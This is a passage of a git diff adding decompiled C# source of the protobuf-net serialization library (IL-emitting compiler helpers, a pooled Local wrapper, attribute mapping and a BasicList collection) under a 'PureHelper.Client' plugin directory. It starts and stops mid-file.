LoadValue(string value) + { + if (value == null) + { + LoadNullRef(); + } + else + { + il.Emit(OpCodes.Ldstr, value); + } + } + + public void LoadValue(float value) + { + il.Emit(OpCodes.Ldc_R4, value); + } + + public void LoadValue(double value) + { + il.Emit(OpCodes.Ldc_R8, value); + } + + public void LoadValue(long value) + { + il.Emit(OpCodes.Ldc_I8, value); + } + + public void LoadValue(int value) + { + switch (value) + { + case 0: + Emit(OpCodes.Ldc_I4_0); + return; + case 1: + Emit(OpCodes.Ldc_I4_1); + return; + case 2: + Emit(OpCodes.Ldc_I4_2); + return; + case 3: + Emit(OpCodes.Ldc_I4_3); + return; + case 4: + Emit(OpCodes.Ldc_I4_4); + return; + case 5: + Emit(OpCodes.Ldc_I4_5); + return; + case 6: + Emit(OpCodes.Ldc_I4_6); + return; + case 7: + Emit(OpCodes.Ldc_I4_7); + return; + case 8: + Emit(OpCodes.Ldc_I4_8); + return; + case -1: + Emit(OpCodes.Ldc_I4_M1); + return; + } + if (value >= -128 && value <= 127) + { + il.Emit(OpCodes.Ldc_I4_S, (sbyte)value); + } + else + { + il.Emit(OpCodes.Ldc_I4, value); + } + } + + internal LocalBuilder GetFromPool(Type type) + { + int count = locals.Count; + for (int i = 0; i < count; i++) + { + LocalBuilder localBuilder = (LocalBuilder)locals[i]; + if (localBuilder != null && (object)localBuilder.LocalType == type) + { + locals[i] = null; + return localBuilder; + } + } + return il.DeclareLocal(type); + } + + internal void ReleaseToPool(LocalBuilder value) + { + int count = locals.Count; + for (int i = 0; i < count; i++) + { + if (locals[i] == null) + { + locals[i] = value; + return; + } + } + locals.Add(value); + } + + public void LoadReaderWriter() + { + Emit(isStatic ? OpCodes.Ldarg_1 : OpCodes.Ldarg_2); + } + + public void StoreValue(Local local) + { + if (local == InputValue) + { + byte arg = ((!isStatic) ? ((byte)1) : ((byte)0)); + il.Emit(OpCodes.Starg_S, arg); + return; + } + switch (local.Value.LocalIndex) + { + case 0: + Emit(OpCodes.Stloc_0); + break; + case 1: + Emit(OpCodes.Stloc_1); + break; + case 2: + Emit(OpCodes.Stloc_2); + break; + case 3: + Emit(OpCodes.Stloc_3); + break; + default: + { + OpCode opcode = (UseShortForm(local) ? OpCodes.Stloc_S : OpCodes.Stloc); + il.Emit(opcode, local.Value); + break; + } + } + } + + public void LoadValue(Local local) + { + if (local == null) + { + return; + } + if (local == InputValue) + { + Emit(isStatic ? OpCodes.Ldarg_0 : OpCodes.Ldarg_1); + return; + } + switch (local.Value.LocalIndex) + { + case 0: + Emit(OpCodes.Ldloc_0); + break; + case 1: + Emit(OpCodes.Ldloc_1); + break; + case 2: + Emit(OpCodes.Ldloc_2); + break; + case 3: + Emit(OpCodes.Ldloc_3); + break; + default: + { + OpCode opcode = (UseShortForm(local) ? OpCodes.Ldloc_S : OpCodes.Ldloc); + il.Emit(opcode, local.Value); + break; + } + } + } + + public Local GetLocalWithValue(Type type, Local fromValue) + { + if (fromValue != null) + { + if ((object)fromValue.Type == type) + { + return fromValue.AsCopy(); + } + LoadValue(fromValue); + if (!Helpers.IsValueType(type) && ((object)fromValue.Type == null || !type.IsAssignableFrom(fromValue.Type))) + { + Cast(type); + } + } + Local local = new Local(this, type); + StoreValue(local); + return local; + } + + internal void EmitBasicRead(string methodName, Type expectedType) + { + MethodInfo methodInfo = MapType(typeof(ProtoReader)).GetMethod(methodName, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + if ((object)methodInfo == null || (object)methodInfo.ReturnType != expectedType || methodInfo.GetParameters().Length != 0) + { + throw new ArgumentException("methodName"); + } + LoadReaderWriter(); + EmitCall(methodInfo); + } + + internal void EmitBasicRead(Type helperType, string methodName, Type expectedType) + { + MethodInfo methodInfo = helperType.GetMethod(methodName, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); + if ((object)methodInfo == null || (object)methodInfo.ReturnType != expectedType || methodInfo.GetParameters().Length != 1) + { + throw new ArgumentException("methodName"); + } + LoadReaderWriter(); + EmitCall(methodInfo); + } + + internal void EmitBasicWrite(string methodName, Local fromValue) + { + if (string.IsNullOrEmpty(methodName)) + { + throw new ArgumentNullException("methodName"); + } + LoadValue(fromValue); + LoadReaderWriter(); + EmitCall(GetWriterMethod(methodName)); + } + + private MethodInfo GetWriterMethod(string methodName) + { + Type type = MapType(typeof(ProtoWriter)); + MethodInfo[] methods = type.GetMethods(BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); + MethodInfo[] array = methods; + foreach (MethodInfo methodInfo in array) + { + if (!(methodInfo.Name != methodName)) + { + ParameterInfo[] parameters = methodInfo.GetParameters(); + if (parameters.Length == 2 && (object)parameters[1].ParameterType == type) + { + return methodInfo; + } + } + } + throw new ArgumentException("No suitable method found for: " + methodName, "methodName"); + } + + internal void EmitWrite(Type helperType, string methodName, Local valueFrom) + { + if (string.IsNullOrEmpty(methodName)) + { + throw new ArgumentNullException("methodName"); + } + MethodInfo methodInfo = helperType.GetMethod(methodName, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); + if ((object)methodInfo == null || (object)methodInfo.ReturnType != MapType(typeof(void))) + { + throw new ArgumentException("methodName"); + } + LoadValue(valueFrom); + LoadReaderWriter(); + EmitCall(methodInfo); + } + + public void EmitCall(MethodInfo method) + { + EmitCall(method, null); + } + + public void EmitCall(MethodInfo method, Type targetType) + { + MemberInfo member = method; + CheckAccessibility(ref member); + OpCode opcode; + if (method.IsStatic || Helpers.IsValueType(method.DeclaringType)) + { + opcode = OpCodes.Call; + } + else + { + opcode = OpCodes.Callvirt; + if ((object)targetType != null && Helpers.IsValueType(targetType) && !Helpers.IsValueType(method.DeclaringType)) + { + Constrain(targetType); + } + } + il.EmitCall(opcode, method, null); + } + + public void LoadNullRef() + { + Emit(OpCodes.Ldnull); + } + + internal void WriteNullCheckedTail(Type type, IProtoSerializer tail, Local valueFrom) + { + if (Helpers.IsValueType(type)) + { + Type underlyingType = Helpers.GetUnderlyingType(type); + if ((object)underlyingType != null) + { + using (Local local = GetLocalWithValue(type, valueFrom)) + { + LoadAddress(local, type); + LoadValue(type.GetProperty("HasValue")); + CodeLabel label = DefineLabel(); + BranchIfFalse(label, @short: false); + LoadAddress(local, type); + EmitCall(type.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); + tail.EmitWrite(this, null); + MarkLabel(label); + return; + } + } + tail.EmitWrite(this, valueFrom); + } + else + { + LoadValue(valueFrom); + CopyValue(); + CodeLabel label2 = DefineLabel(); + CodeLabel label3 = DefineLabel(); + BranchIfTrue(label2, @short: true); + DiscardValue(); + Branch(label3, @short: false); + MarkLabel(label2); + tail.EmitWrite(this, null); + MarkLabel(label3); + } + } + + internal void ReadNullCheckedTail(Type type, IProtoSerializer tail, Local valueFrom) + { + Type underlyingType; + if (Helpers.IsValueType(type) && (object)(underlyingType = Helpers.GetUnderlyingType(type)) != null) + { + if (tail.RequiresOldValue) + { + using Local local = GetLocalWithValue(type, valueFrom); + LoadAddress(local, type); + EmitCall(type.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); + } + tail.EmitRead(this, null); + if (tail.ReturnsValue) + { + EmitCtor(type, underlyingType); + } + } + else + { + tail.EmitRead(this, valueFrom); + } + } + + public void EmitCtor(Type type) + { + EmitCtor(type, Helpers.EmptyTypes); + } + + public void EmitCtor(ConstructorInfo ctor) + { + if ((object)ctor == null) + { + throw new ArgumentNullException("ctor"); + } + MemberInfo member = ctor; + CheckAccessibility(ref member); + il.Emit(OpCodes.Newobj, ctor); + } + + public void InitLocal(Type type, Local target) + { + LoadAddress(target, type, evenIfClass: true); + il.Emit(OpCodes.Initobj, type); + } + + public void EmitCtor(Type type, params Type[] parameterTypes) + { + if (Helpers.IsValueType(type) && parameterTypes.Length == 0) + { + il.Emit(OpCodes.Initobj, type); + return; + } + ConstructorInfo constructor = Helpers.GetConstructor(type, parameterTypes, nonPublic: true); + if ((object)constructor == null) + { + throw new InvalidOperationException("No suitable constructor found for " + type.FullName); + } + EmitCtor(constructor); + } + + private bool InternalsVisible(Assembly assembly) + { + if (string.IsNullOrEmpty(assemblyName)) + { + return false; + } + if (knownTrustedAssemblies != null && knownTrustedAssemblies.IndexOfReference(assembly) >= 0) + { + return true; + } + if (knownUntrustedAssemblies != null && knownUntrustedAssemblies.IndexOfReference(assembly) >= 0) + { + return false; + } + bool flag = false; + Type type = MapType(typeof(InternalsVisibleToAttribute)); + if ((object)type == null) + { + return false; + } + object[] customAttributes = assembly.GetCustomAttributes(type, inherit: false); + for (int i = 0; i < customAttributes.Length; i++) + { + InternalsVisibleToAttribute internalsVisibleToAttribute = (InternalsVisibleToAttribute)customAttributes[i]; + if (internalsVisibleToAttribute.AssemblyName == assemblyName || internalsVisibleToAttribute.AssemblyName.StartsWith(assemblyName + ",")) + { + flag = true; + break; + } + } + if (flag) + { + if (knownTrustedAssemblies == null) + { + knownTrustedAssemblies = new BasicList(); + } + knownTrustedAssemblies.Add(assembly); + } + else + { + if (knownUntrustedAssemblies == null) + { + knownUntrustedAssemblies = new BasicList(); + } + knownUntrustedAssemblies.Add(assembly); + } + return flag; + } + + internal void CheckAccessibility(ref MemberInfo member) + { + if ((object)member == null) + { + throw new ArgumentNullException("member"); + } + if (NonPublic) + { + return; + } + if (member is FieldInfo && (member.Name.StartsWith("<") & member.Name.EndsWith(">k__BackingField"))) + { + string name = member.Name.Substring(1, member.Name.Length - 17); + PropertyInfo property = member.DeclaringType.GetProperty(name, BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public); + if ((object)property != null) + { + member = property; + } + } + MemberTypes memberType = member.MemberType; + bool flag; + switch (memberType) + { + case MemberTypes.TypeInfo: + { + Type type = (Type)member; + flag = type.IsPublic || InternalsVisible(type.Assembly); + break; + } + case MemberTypes.NestedType: + { + Type type = (Type)member; + do + { + flag = type.IsNestedPublic || type.IsPublic || (((object)type.DeclaringType == null || type.IsNestedAssembly || type.IsNestedFamORAssem) && InternalsVisible(type.Assembly)); + } + while (flag && (object)(type = type.DeclaringType) != null); + break; + } + case MemberTypes.Field: + { + FieldInfo fieldInfo = (FieldInfo)member; + flag = fieldInfo.IsPublic || ((fieldInfo.IsAssembly || fieldInfo.IsFamilyOrAssembly) && InternalsVisible(fieldInfo.DeclaringType.Assembly)); + break; + } + case MemberTypes.Constructor: + { + ConstructorInfo constructorInfo = (ConstructorInfo)member; + flag = constructorInfo.IsPublic || ((constructorInfo.IsAssembly || constructorInfo.IsFamilyOrAssembly) && InternalsVisible(constructorInfo.DeclaringType.Assembly)); + break; + } + case MemberTypes.Method: + { + MethodInfo methodInfo = (MethodInfo)member; + flag = methodInfo.IsPublic || ((methodInfo.IsAssembly || methodInfo.IsFamilyOrAssembly) && InternalsVisible(methodInfo.DeclaringType.Assembly)); + if (!flag && (member is MethodBuilder || (object)member.DeclaringType == MapType(typeof(TypeModel)))) + { + flag = true; + } + break; + } + case MemberTypes.Property: + flag = true; + break; + default: + throw new NotSupportedException(memberType.ToString()); + } + if (!flag) + { + if (memberType == MemberTypes.TypeInfo || memberType == MemberTypes.NestedType) + { + throw new InvalidOperationException("Non-public type cannot be used with full dll compilation: " + ((Type)member).FullName); + } + throw new InvalidOperationException("Non-public member cannot be used with full dll compilation: " + member.DeclaringType.FullName + "." + member.Name); + } + } + + public void LoadValue(FieldInfo field) + { + MemberInfo member = field; + CheckAccessibility(ref member); + if (member is PropertyInfo) + { + LoadValue((PropertyInfo)member); + return; + } + OpCode opcode = (field.IsStatic ? OpCodes.Ldsfld : OpCodes.Ldfld); + il.Emit(opcode, field); + } + + public void StoreValue(FieldInfo field) + { + MemberInfo member = field; + CheckAccessibility(ref member); + if (member is PropertyInfo) + { + StoreValue((PropertyInfo)member); + return; + } + OpCode opcode = (field.IsStatic ? OpCodes.Stsfld : OpCodes.Stfld); + il.Emit(opcode, field); + } + + public void LoadValue(PropertyInfo property) + { + MemberInfo member = property; + CheckAccessibility(ref member); + EmitCall(Helpers.GetGetMethod(property, nonPublic: true, allowInternal: true)); + } + + public void StoreValue(PropertyInfo property) + { + MemberInfo member = property; + CheckAccessibility(ref member); + EmitCall(Helpers.GetSetMethod(property, nonPublic: true, allowInternal: true)); + } + + internal static void LoadValue(ILGenerator il, int value) + { + switch (value) + { + case 0: + il.Emit(OpCodes.Ldc_I4_0); + break; + case 1: + il.Emit(OpCodes.Ldc_I4_1); + break; + case 2: + il.Emit(OpCodes.Ldc_I4_2); + break; + case 3: + il.Emit(OpCodes.Ldc_I4_3); + break; + case 4: + il.Emit(OpCodes.Ldc_I4_4); + break; + case 5: + il.Emit(OpCodes.Ldc_I4_5); + break; + case 6: + il.Emit(OpCodes.Ldc_I4_6); + break; + case 7: + il.Emit(OpCodes.Ldc_I4_7); + break; + case 8: + il.Emit(OpCodes.Ldc_I4_8); + break; + case -1: + il.Emit(OpCodes.Ldc_I4_M1); + break; + default: + il.Emit(OpCodes.Ldc_I4, value); + break; + } + } + + private bool UseShortForm(Local local) + { + return local.Value.LocalIndex < 256; + } + + internal void LoadAddress(Local local, Type type, bool evenIfClass = false) + { + if (evenIfClass || Helpers.IsValueType(type)) + { + if (local == null) + { + throw new InvalidOperationException("Cannot load the address of the head of the stack"); + } + if (local == InputValue) + { + il.Emit(OpCodes.Ldarga_S, (!isStatic) ? ((byte)1) : ((byte)0)); + return; + } + OpCode opcode = (UseShortForm(local) ? OpCodes.Ldloca_S : OpCodes.Ldloca); + il.Emit(opcode, local.Value); + } + else + { + LoadValue(local); + } + } + + internal void Branch(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Br_S : OpCodes.Br); + il.Emit(opcode, label.Value); + } + + internal void BranchIfFalse(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Brfalse_S : OpCodes.Brfalse); + il.Emit(opcode, label.Value); + } + + internal void BranchIfTrue(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Brtrue_S : OpCodes.Brtrue); + il.Emit(opcode, label.Value); + } + + internal void BranchIfEqual(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Beq_S : OpCodes.Beq); + il.Emit(opcode, label.Value); + } + + internal void CopyValue() + { + Emit(OpCodes.Dup); + } + + internal void BranchIfGreater(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Bgt_S : OpCodes.Bgt); + il.Emit(opcode, label.Value); + } + + internal void BranchIfLess(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Blt_S : OpCodes.Blt); + il.Emit(opcode, label.Value); + } + + internal void DiscardValue() + { + Emit(OpCodes.Pop); + } + + public void Subtract() + { + Emit(OpCodes.Sub); + } + + public void Switch(CodeLabel[] jumpTable) + { + if (jumpTable.Length <= 128) + { + Label[] array = new Label[jumpTable.Length]; + for (int i = 0; i < array.Length; i++) + { + array[i] = jumpTable[i].Value; + } + il.Emit(OpCodes.Switch, array); + return; + } + using Local local = GetLocalWithValue(MapType(typeof(int)), null); + int num = jumpTable.Length; + int num2 = 0; + int num3 = num / 128; + if (num % 128 != 0) + { + num3++; + } + Label[] array2 = new Label[num3]; + for (int j = 0; j < num3; j++) + { + array2[j] = il.DefineLabel(); + } + CodeLabel label = DefineLabel(); + LoadValue(local); + LoadValue(128); + Emit(OpCodes.Div); + il.Emit(OpCodes.Switch, array2); + Branch(label, @short: false); + Label[] array3 = new Label[128]; + for (int k = 0; k < num3; k++) + { + il.MarkLabel(array2[k]); + int num4 = Math.Min(128, num); + num -= num4; + if (array3.Length != num4) + { + array3 = new Label[num4]; + } + int num5 = num2; + for (int l = 0; l < num4; l++) + { + array3[l] = jumpTable[num2++].Value; + } + LoadValue(local); + if (num5 != 0) + { + LoadValue(num5); + Emit(OpCodes.Sub); + } + il.Emit(OpCodes.Switch, array3); + if (num != 0) + { + Branch(label, @short: false); + } + } + MarkLabel(label); + } + + internal void EndFinally() + { + il.EndExceptionBlock(); + } + + internal void BeginFinally() + { + il.BeginFinallyBlock(); + } + + internal void EndTry(CodeLabel label, bool @short) + { + OpCode opcode = (@short ? OpCodes.Leave_S : OpCodes.Leave); + il.Emit(opcode, label.Value); + } + + internal CodeLabel BeginTry() + { + CodeLabel result = new CodeLabel(il.BeginExceptionBlock(), nextLabel++); + return result; + } + + internal void Constrain(Type type) + { + il.Emit(OpCodes.Constrained, type); + } + + internal void TryCast(Type type) + { + il.Emit(OpCodes.Isinst, type); + } + + internal void Cast(Type type) + { + il.Emit(OpCodes.Castclass, type); + } + + public IDisposable Using(Local local) + { + return new UsingBlock(this, local); + } + + internal void Add() + { + Emit(OpCodes.Add); + } + + internal void LoadLength(Local arr, bool zeroIfNull) + { + if (zeroIfNull) + { + CodeLabel label = DefineLabel(); + CodeLabel label2 = DefineLabel(); + LoadValue(arr); + CopyValue(); + BranchIfTrue(label, @short: true); + DiscardValue(); + LoadValue(0); + Branch(label2, @short: true); + MarkLabel(label); + Emit(OpCodes.Ldlen); + Emit(OpCodes.Conv_I4); + MarkLabel(label2); + } + else + { + LoadValue(arr); + Emit(OpCodes.Ldlen); + Emit(OpCodes.Conv_I4); + } + } + + internal void CreateArray(Type elementType, Local length) + { + LoadValue(length); + il.Emit(OpCodes.Newarr, elementType); + } + + internal void LoadArrayValue(Local arr, Local i) + { + Type type = arr.Type; + type = type.GetElementType(); + LoadValue(arr); + LoadValue(i); + switch (Helpers.GetTypeCode(type)) + { + case ProtoTypeCode.SByte: + Emit(OpCodes.Ldelem_I1); + return; + case ProtoTypeCode.Int16: + Emit(OpCodes.Ldelem_I2); + return; + case ProtoTypeCode.Int32: + Emit(OpCodes.Ldelem_I4); + return; + case ProtoTypeCode.Int64: + Emit(OpCodes.Ldelem_I8); + return; + case ProtoTypeCode.Byte: + Emit(OpCodes.Ldelem_U1); + return; + case ProtoTypeCode.UInt16: + Emit(OpCodes.Ldelem_U2); + return; + case ProtoTypeCode.UInt32: + Emit(OpCodes.Ldelem_U4); + return; + case ProtoTypeCode.UInt64: + Emit(OpCodes.Ldelem_I8); + return; + case ProtoTypeCode.Single: + Emit(OpCodes.Ldelem_R4); + return; + case ProtoTypeCode.Double: + Emit(OpCodes.Ldelem_R8); + return; + } + if (Helpers.IsValueType(type)) + { + il.Emit(OpCodes.Ldelema, type); + il.Emit(OpCodes.Ldobj, type); + } + else + { + Emit(OpCodes.Ldelem_Ref); + } + } + + internal void LoadValue(Type type) + { + il.Emit(OpCodes.Ldtoken, type); + EmitCall(MapType(typeof(Type)).GetMethod("GetTypeFromHandle")); + } + + internal void ConvertToInt32(ProtoTypeCode typeCode, bool uint32Overflow) + { + switch (typeCode) + { + case ProtoTypeCode.SByte: + case ProtoTypeCode.Byte: + case ProtoTypeCode.Int16: + case ProtoTypeCode.UInt16: + Emit(OpCodes.Conv_I4); + break; + case ProtoTypeCode.Int64: + Emit(OpCodes.Conv_Ovf_I4); + break; + case ProtoTypeCode.UInt32: + Emit(uint32Overflow ? OpCodes.Conv_Ovf_I4_Un : OpCodes.Conv_Ovf_I4); + break; + case ProtoTypeCode.UInt64: + Emit(OpCodes.Conv_Ovf_I4_Un); + break; + default: + throw new InvalidOperationException("ConvertToInt32 not implemented for: " + typeCode); + case ProtoTypeCode.Int32: + break; + } + } + + internal void ConvertFromInt32(ProtoTypeCode typeCode, bool uint32Overflow) + { + switch (typeCode) + { + case ProtoTypeCode.SByte: + Emit(OpCodes.Conv_Ovf_I1); + break; + case ProtoTypeCode.Byte: + Emit(OpCodes.Conv_Ovf_U1); + break; + case ProtoTypeCode.Int16: + Emit(OpCodes.Conv_Ovf_I2); + break; + case ProtoTypeCode.UInt16: + Emit(OpCodes.Conv_Ovf_U2); + break; + case ProtoTypeCode.UInt32: + Emit(uint32Overflow ? OpCodes.Conv_Ovf_U4 : OpCodes.Conv_U4); + break; + case ProtoTypeCode.Int64: + Emit(OpCodes.Conv_I8); + break; + case ProtoTypeCode.UInt64: + Emit(OpCodes.Conv_U8); + break; + default: + throw new InvalidOperationException(); + case ProtoTypeCode.Int32: + break; + } + } + + internal void LoadValue(decimal value) + { + if (value == 0m) + { + LoadValue(typeof(decimal).GetField("Zero")); + return; + } + int[] bits = decimal.GetBits(value); + LoadValue(bits[0]); + LoadValue(bits[1]); + LoadValue(bits[2]); + LoadValue(bits[3] >>> 31); + LoadValue((bits[3] >> 16) & 0xFF); + EmitCtor(MapType(typeof(decimal)), MapType(typeof(int)), MapType(typeof(int)), MapType(typeof(int)), MapType(typeof(bool)), MapType(typeof(byte))); + } + + internal void LoadValue(Guid value) + { + if (value == Guid.Empty) + { + LoadValue(typeof(Guid).GetField("Empty")); + return; + } + byte[] array = value.ToByteArray(); + int value2 = array[0] | (array[1] << 8) | (array[2] << 16) | (array[3] << 24); + LoadValue(value2); + short value3 = (short)(array[4] | (array[5] << 8)); + LoadValue(value3); + value3 = (short)(array[6] | (array[7] << 8)); + LoadValue(value3); + for (value2 = 8; value2 <= 15; value2++) + { + LoadValue(array[value2]); + } + EmitCtor(MapType(typeof(Guid)), MapType(typeof(int)), MapType(typeof(short)), MapType(typeof(short)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte)), MapType(typeof(byte))); + } + + internal void LoadSerializationContext() + { + LoadReaderWriter(); + LoadValue((isWriter ? typeof(ProtoWriter) : typeof(ProtoReader)).GetProperty("Context")); + } + + internal Type MapType(Type type) + { + return model.MapType(type); + } + + internal bool AllowInternal(PropertyInfo property) + { + if (!NonPublic) + { + return InternalsVisible(Helpers.GetAssembly(property.DeclaringType)); + } + return true; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/Local.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/Local.cs new file mode 100644 index 0000000..ded0431 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/Local.cs @@ -0,0 +1,66 @@ +using System; +using System.Reflection.Emit; + +namespace ProtoBuf.Compiler; + +internal sealed class Local : IDisposable +{ + private LocalBuilder value; + + private readonly Type type; + + private CompilerContext ctx; + + internal LocalBuilder Value => value ?? throw new ObjectDisposedException(GetType().Name); + + public Type Type => type; + + private Local(LocalBuilder value, Type type) + { + this.value = value; + this.type = type; + } + + internal Local(CompilerContext ctx, Type type) + { + this.ctx = ctx; + if (ctx != null) + { + value = ctx.GetFromPool(type); + } + this.type = type; + } + + public Local AsCopy() + { + if (ctx == null) + { + return this; + } + return new Local(value, type); + } + + public void Dispose() + { + if (ctx != null) + { + ctx.ReleaseToPool(value); + value = null; + ctx = null; + } + } + + internal bool IsSame(Local other) + { + if (this == other) + { + return true; + } + object obj = value; + if (other != null) + { + return obj == other.value; + } + return false; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoDeserializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoDeserializer.cs new file mode 100644 index 0000000..0102acd --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoDeserializer.cs @@ -0,0 +1,3 @@ +namespace ProtoBuf.Compiler; + +internal delegate object ProtoDeserializer(object value, ProtoReader source); diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoSerializer.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoSerializer.cs new file mode 100644 index 0000000..b27d7b2 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Compiler/ProtoSerializer.cs @@ -0,0 +1,3 @@ +namespace ProtoBuf.Compiler; + +internal delegate void ProtoSerializer(object value, ProtoWriter dest); diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/AttributeMap.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/AttributeMap.cs new file mode 100644 index 0000000..0f70759 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/AttributeMap.cs @@ -0,0 +1,95 @@ +using System; +using System.Reflection; + +namespace ProtoBuf.Meta; + +internal abstract class AttributeMap +{ + private sealed class ReflectionAttributeMap : AttributeMap + { + private readonly Attribute attribute; + + public override object Target => attribute; + + public override Type AttributeType => attribute.GetType(); + + public ReflectionAttributeMap(Attribute attribute) + { + this.attribute = attribute; + } + + public override bool TryGet(string key, bool publicOnly, out object value) + { + MemberInfo[] instanceFieldsAndProperties = Helpers.GetInstanceFieldsAndProperties(attribute.GetType(), publicOnly); + MemberInfo[] array = instanceFieldsAndProperties; + foreach (MemberInfo memberInfo in array) + { + if (string.Equals(memberInfo.Name, key, StringComparison.OrdinalIgnoreCase)) + { + if (memberInfo is PropertyInfo propertyInfo) + { + value = propertyInfo.GetValue(attribute, null); + return true; + } + if (memberInfo is FieldInfo fieldInfo) + { + value = fieldInfo.GetValue(attribute); + return true; + } + throw new NotSupportedException(memberInfo.GetType().Name); + } + } + value = null; + return false; + } + } + + public abstract Type AttributeType { get; } + + public abstract object Target { get; } + + public override string ToString() + { + return AttributeType?.FullName ?? ""; + } + + public abstract bool TryGet(string key, bool publicOnly, out object value); + + public bool TryGet(string key, out object value) + { + return TryGet(key, publicOnly: true, out value); + } + + public static AttributeMap[] Create(TypeModel model, Type type, bool inherit) + { + object[] customAttributes = type.GetCustomAttributes(inherit); + AttributeMap[] array = new AttributeMap[customAttributes.Length]; + for (int i = 0; i < customAttributes.Length; i++) + { + array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]); + } + return array; + } + + public static AttributeMap[] Create(TypeModel model, MemberInfo member, bool inherit) + { + object[] customAttributes = member.GetCustomAttributes(inherit); + AttributeMap[] array = new AttributeMap[customAttributes.Length]; + for (int i = 0; i < customAttributes.Length; i++) + { + array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]); + } + return array; + } + + public static AttributeMap[] Create(TypeModel model, Assembly assembly) + { + object[] customAttributes = assembly.GetCustomAttributes(inherit: false); + AttributeMap[] array = new AttributeMap[customAttributes.Length]; + for (int i = 0; i < customAttributes.Length; i++) + { + array[i] = new ReflectionAttributeMap((Attribute)customAttributes[i]); + } + return array; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/BasicList.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/BasicList.cs new file mode 100644 index 0000000..1c8dc86 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf.Meta/BasicList.cs @@ -0,0 +1,276 @@ +using System; +using System.Collections; + +namespace ProtoBuf.Meta; + +internal class BasicList : IEnumerable +{ + public struct NodeEnumerator : IEnumerator + { + private int position; + + private readonly Node node; + + public object Current => node[position]; + + internal NodeEnumerator(Node node) + { + position = -1; + this.node = node; + } + + void IEnumerator.Reset() + { + position = -1; + } + + public bool MoveNext() + { + int length = node.Length; + if (position <= length) + { + return ++position < length; + } + return false; + } + } + + internal sealed class Node + { + private readonly object[] data; + + private int length; + + public object this[int index] + { + get + { + if (index >= 0 && index < length) + { + return data[index]; + } + throw new ArgumentOutOfRangeException("index"); + } + set + { + if (index >= 0 && index < length) + { + data[index] = value; + return; + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public int Length => length; + + internal Node(object[] data, int length) + { + this.data = data; + this.length = length; + } + + public void RemoveLastWithMutate() + { + if (length == 0) + { + throw new InvalidOperationException(); + } + length--; + } + + public Node Append(object value) + { + int num = length + 1; + object[] array; + if (data == null) + { + array = new object[10]; + } + else if (length == data.Length) + { + array = new object[data.Length * 2]; + Array.Copy(data, array, length); + } + else + { + array = data; + } + array[length] = value; + return new Node(array, num); + } + + public Node Trim() + { + if (length == 0 || length == data.Length) + { + return this; + } + object[] destinationArray = new object[length]; + Array.Copy(data, destinationArray, length); + return new Node(destinationArray, length); + } + + internal int IndexOfString(string value) + { + for (int i = 0; i < length; i++) + { + if (value == (string)data[i]) + { + return i; + } + } + return -1; + } + + internal int IndexOfReference(object instance) + { + for (int i = 0; i < length; i++) + { + if (instance == data[i]) + { + return i; + } + } + return -1; + } + + internal int IndexOf(MatchPredicate predicate, object ctx) + { + for (int i = 0; i < length; i++) + { + if (predicate(data[i], ctx)) + { + return i; + } + } + return -1; + } + + internal void CopyTo(Array array, int offset) + { + if (length > 0) + { + Array.Copy(data, 0, array, offset, length); + } + } + + internal void Clear() + { + if (data != null) + { + Array.Clear(data, 0, data.Length); + } + length = 0; + } + } + + internal delegate bool MatchPredicate(object value, object ctx); + + internal sealed class Group + { + public readonly int First; + + public readonly BasicList Items; + + public Group(int first) + { + First = first; + Items = new BasicList(); + } + } + + private static readonly Node nil = new Node(null, 0); + + protected Node head = nil; + + public object this[int index] => head[index]; + + public int Count => head.Length; + + public void CopyTo(Array array, int offset) + { + head.CopyTo(array, offset); + } + + public int Add(object value) + { + return (head = head.Append(value)).Length - 1; + } + + public void Trim() + { + head = head.Trim(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new NodeEnumerator(head); + } + + public NodeEnumerator GetEnumerator() + { + return new NodeEnumerator(head); + } + + internal int IndexOf(MatchPredicate predicate, object ctx) + { + return head.IndexOf(predicate, ctx); + } + + internal int IndexOfString(string value) + { + return head.IndexOfString(value); + } + + internal int IndexOfReference(object instance) + { + return head.IndexOfReference(instance); + } + + internal bool Contains(object value) + { + NodeEnumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + object current = enumerator.Current; + if (object.Equals(current, value)) + { + return true; + } + } + return false; + } + + internal static BasicList GetContiguousGroups(int[] keys, object[] values) + { + if (keys == null) + { + throw new ArgumentNullException("keys"); + } + if (values == null) + { + throw new ArgumentNullException("values"); 